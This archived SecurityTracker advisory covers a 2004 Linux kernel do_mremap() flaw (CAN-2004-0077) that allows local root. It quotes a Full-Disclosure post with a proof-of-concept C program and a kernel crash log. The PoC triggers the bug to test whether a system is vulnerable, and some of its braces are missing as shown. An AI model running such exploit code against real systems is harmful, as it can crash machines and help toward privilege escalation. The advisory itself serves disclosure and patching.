SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Welcome to SecurityTracker!
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Sign Up!





Category:  OS (Linux)  >  Linux Kernel Vendors:  kernel.org
(Exploit Code is Available) Linux Kernel do_mremap() Fails to Check do_munmap() Return Values, Allowing a Local User to Gain Root Privileges
SecurityTracker Alert ID:  1009130
CVE Reference:  CAN-2004-0077   (Links to External Site)
Date:  Feb 19 2004
Impact:  Execution of arbitrary code via local system, Root access via local system
Fix Available:  Yes   Exploit Included:  Yes   Vendor Confirmed:  Yes  
Version(s): 2.2 up to 2.2.25, 2.4 up to 2.4.24, 2.6 up to 2.6.2
Description:  Another vulnerability was reported in the Linux kernel do_mremap() function. A local user can execute arbitrary code with root privileges.

Paul Starzetz discovered and reported that there is a missing return value check within the mremap(2) system call.

When resizing or moving virtual memory areas, the function reportedly does not test the return value of the do_munmap() function. Cases where the function fails (for example, due to the number of virtual memory areas being exceeded by the calling process) will not be properly detected, according to the report. As a result, the kernel may move memory belonging to one process into memory space that is allocated to another process.

Some other calls to the do_munmap() function are also not checked, the report said.

A local user can gain root privileges on the target system.

The original advisory is available at:

http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt

Some demonstration exploit code from Christophe Devine is available in the Source Message.

Impact:  A local user can gain root privileges on the target system.
Solution:  A fixed kernel version (2.4.25, 2.6.3) is available at:

http://www.kernel.org/

Vendor URL:  www.kernel.org/ (Links to External Site)
Cause:  Boundary error
Underlying OS:  Linux (Caldera/SCO), Linux (Conectiva), Linux (Debian), Linux (EnGarde), Linux (Gentoo), Linux (HP Secure OS), Linux (Immunix), Linux (Mandrake), Linux (Progeny Debian), Linux (Red Hat Enterprise), Linux (Red Hat Fedora), Linux (Red Hat Linux), Linux (SGI), Linux (Slackware), Linux (Sun), Linux (SuSE), Linux (Trustix), Linux (Turbo Linux), Linux (Xandros)
Reported By:  Christophe Devine <devine@iie.cnam.fr>
Message History:   This archive entry is a follow-up to the message listed below.
Feb 18 2004 Linux Kernel do_mremap() Fails to Check do_munmap() Return Values, Allowing a Local User to Gain Root Privileges



 Source Message Contents

Date:  Wed, 18 Feb 2004 14:51:37 +0100
From:  Christophe Devine <devine@iie.cnam.fr>
Subject:  [Full-Disclosure] Re: Second critical mremap() bug found in all Linux kernels

 

Paul Starzetz wrote:

> The kernel also tries to insert the overlapping VMA area into the VMA
> descriptor list but this fails due to further checks in the low level
> VMA manipulation code. The low level VMA list check in the 2.4 and 2.6
> kernel versions just call BUG() therefore terminating the malicious
> process.

This PoC exploit can be used to check if a Linux system is vulnerable
to the second do_mremap() bug; the code has only been tested on Linux
version 2.4.22 so far.


$ gcc -W -Wall mremap_poc_2.c && ./a.out
mmap: Cannot allocate memory
created ~65530 VMAs
now mremapping 0x3FFE5000 at 0x3FFE1000
Segmentation fault


$ dmesg | tail -n 16
kernel BUG at mmap.c:1194!
invalid operand: 0000
CPU:    0
EIP:    0010:[<c01239b5>]    Not tainted
EFLAGS: 00010287
eax: 3ffe2000   ebx: ce189f80   ecx: ce189f38   edx: ce189f20
esi: ce189fc4   edi: ce189f04   ebp: ce189ec0   esp: cf101f44
ds: 0018   es: 0018   ss: 0018
Process a.out (pid: 5371, stackpage=cf101000)
Stack: ce189f80 ce189fc4 ce189f04 3ffe1000 3ffe1000 c012873f cf1b66e0 c01287c7
       cf1b66e0 ce189ec0 cf100000 00001000 cf1b66fc ffff0001 cf1b66e0 00000000
       c339df1c ce189ec0 cf100000 fffffff4 ce189e60 c0128896 3ffe5000 00001000
Call Trace:    [<c012873f>] [<c01287c7>] [<c0128896>] [<c01086b3>]

Code: 0f 0b aa 04 21 f9 2d c0 8b 7c 24 10 8b 74 24 14 8b 5c 24 18


$ cat mremap_poc_2.c

/*
 *  Proof-of-concept exploit code for do_mremap() #2
 *
 *  Copyright (C) 2004  Christophe Devine
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

#define MREMAP_MAYMOVE  1
#define MREMAP_FIXED    2

#define MREMAP_FLAGS  MREMAP_MAYMOVE | MREMAP_FIXED

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
                         size_t, old_size, size_t, new_size,
                         unsigned long, flags, void *, new_address );

#define VMA_SIZE 0x00003000

int main( void )
 
    int i, ret;
    void *base0;
    void *base1;

    i = 0;

    while( 1 )
    {
        i++;

        ret = (int) mmap( (void *)( i * (VMA_SIZE + 0x1000) ),
                          VMA_SIZE, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

        if( ret == -1 )
        {
            perror( "mmap" );
            break;
        }

        base0 = base1;
        base1 = (void *) ret;
    }

    printf( "created ~%d VMAs\n", i );

    base0 += 0x1000;
    base1 += 0x1000;

    printf( "now mremapping 0x%08X at 0x%08X\n",
            (int) base1, (int) base0 );

    real_mremap( base1, 4096, 4096, MREMAP_FLAGS, base0 );

    printf( "kernel may not be vulnerable\n" );

    return( 0 );
 

EOF

-- 
Christophe Devine - http://www.cr0.net:8040/about/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2004, SecurityGlobal.net LLC